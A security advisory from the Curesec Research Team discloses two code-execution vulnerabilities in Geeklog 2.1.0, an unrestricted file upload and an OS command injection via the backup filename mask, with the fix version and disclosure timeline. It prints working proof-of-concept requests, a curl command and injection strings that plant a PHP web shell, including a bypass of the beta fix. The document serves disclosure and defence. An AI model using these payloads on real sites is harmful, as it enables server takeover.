Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Geeklog 2.1.0
Fixed in:            2.1.1b3
Fixed Version Link:  https://www.geeklog.net/filemgmt/visit.php/1156
Vendor Contact:      geeklog-security@lists.geeklog.net
Vulnerability Type:  Code Execution
Remote Exploitable:  Yes
Reported to vendor:  09/29/2015
Disclosed to public: 12/02/2015
Release mode:        Coordinated release
CVE:                 requested, but not assigned
Credits              Tim Coen of Curesec GmbH

2. Overview

The admin area of Geeklog suffers from two vulnerabilities that can lead to
code execution: OS Command Injection and Upload of Files with Dangerous Type.

The arbitrary file upload is already fixed in the beta version geeklog-2.1.1b1,
the OS command injection in version 2.1.1b3.

3. Upload of Files with Dangerous Type

CVSS

High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

When uploading a file, the file type check is performed only client-side. An
attacker can easily bypass this check and thus upload files of dangerous types,
such as PHP files.

To upload files, an attacker needs a registered user that is in the group
"Filemanager Admin".

Proof of Concept


POST /geeklog-2.1.0/public_html/filemanager/connectors/php/filemanager.php HTTP/1.1
Host: localhost
X-Requested-With: XMLHttpRequest
Content-Length: 761
Content-Type: multipart/form-data; boundary=---------------------------10717364298700964751730232773
Cookie: [cookies]

-----------------------------10717364298700964751730232773
Content-Disposition: form-data; name="mode"

add
-----------------------------10717364298700964751730232773
Content-Disposition: form-data; name="currentpath"

/var/www/geeklog-2.1.0/public_html/images/
-----------------------------10717364298700964751730232773
Content-Disposition: form-data; name="filepath"

test.png
-----------------------------10717364298700964751730232773
Content-Disposition: form-data; name="newfile"; filename="shell.php"
Content-Type: image/png

<?php passthru($_GET['x'])
-----------------------------10717364298700964751730232773
Content-Disposition: form-data; name="upload"

Upload
-----------------------------10717364298700964751730232773--

As curl command:


curl -i -s -k  -X 'POST' \
-H 'Content-Type: multipart/form-data; boundary=---------------------------10717364298700964751730232773' \
-b 'gl_session=838973868; geeklog=2; password=18bdbd240593b81a5239285a1f56283b4ae20648;' \
--data-binary $'-----------------------------10717364298700964751730232773\x0d\x0aContent-Disposition: form-data; name=\"mode\"\x0d\x0a\x0d\x0aadd\x0d\x0a-----------------------------10717364298700964751730232773\x0d\x0aContent-Disposition: form-data; name=\"currentpath\"\x0d\x0a\x0d\x0a/var/www/geeklog-2.1.0/public_html/images/\x0d\x0a-----------------------------10717364298700964751730232773\x0d\x0aContent-Disposition: form-data; name=\"filepath\"\x0d\x0a\x0d\x0atest.png\x0d\x0a-----------------------------10717364298700964751730232773\x0d\x0aContent-Disposition: form-data; name=\"newfile\"; filename=\"shell.php\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a<?php passthru($_GET[\'x\'])\x0d\x0a-----------------------------10717364298700964751730232773\x0d\x0aContent-Disposition: form-data; name=\"upload\"\x0d\x0a\x0d\x0aUpload\x0d\x0a-----------------------------10717364298700964751730232773--\x0d\x0a' \
'https://localhost/geeklog-2.1.0/public_html/filemanager/connectors/php/filemanager.php'

4. OS Command Injection

CVSS

High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

When performing a database backup, various settings are passed unsanitized to
exec, leading to code execution.

To exploit this issue, an attacker needs a registered user that is in the group
"Root".

Proof of Concept


1. Change "Backup File Name Mask" in https://localhost/geeklog-2.1.0/public_html/admin/configuration.php?tab-5 to:
    geeklog_db_backup_%Y_%m_%d_%H_%M_%S.sql";echo "<?php passthru(\$_GET['x']);" > shell.php;"
2. Perform database backup here:
    https://localhost/geeklog-2.1.0/public_html/admin/database.php
    The injected commands will be executed.

In the beta version geeklog-2.1.1b1, less-than is filtered out, but OS command
injection is still possible, including the creation of a PHP shell by appending
the injected PHP code to an existing PHP file without closing tags:


    geeklog_db_backup_%Y_%m_%d_%H_%M_%S.sql";echo "passthru(\$_GET['x']);" >> ../filemanager/connectors/php/inc/wideimage/lib/Font/PS.php;"

Code


/admin/database.php
function dobackup()
{
[...]
if (!empty($_CONF['mysqldump_filename_mask'])) {
    $filename_mask = strftime($_CONF['mysqldump_filename_mask']);
}
[...]
$backupfile = $_CONF['backup_path'] . $filename_mask;
[...]
$command .= " $_DB_name > \"$backupfile\"";
[...]
if ($canExec) {
    exec($command);

5. Solution

To mitigate this issue please upgrade at least to version 2.1.1b3:

https://www.geeklog.net/filemgmt/visit.php/1156

Please note that a newer version might already be available.

6. Report Timeline

09/29/2015 Informed Vendor about Issue (no reply)
10/21/2015 Reminded Vendor of Disclosure Date
10/21/2015 Vendor asks for an additional two weeks for testing
11/17/2015 CVE Requested (no reply)
11/17/2015 Reminded Vendor of disclosure date
11/17/2015 Vendor points to beta version and announces release
11/24/2015 Informed Vendor of insufficient fix in beta
11/30/2015 Vendor releases fix
12/02/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Geeklog-210-Code-Execution-119.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany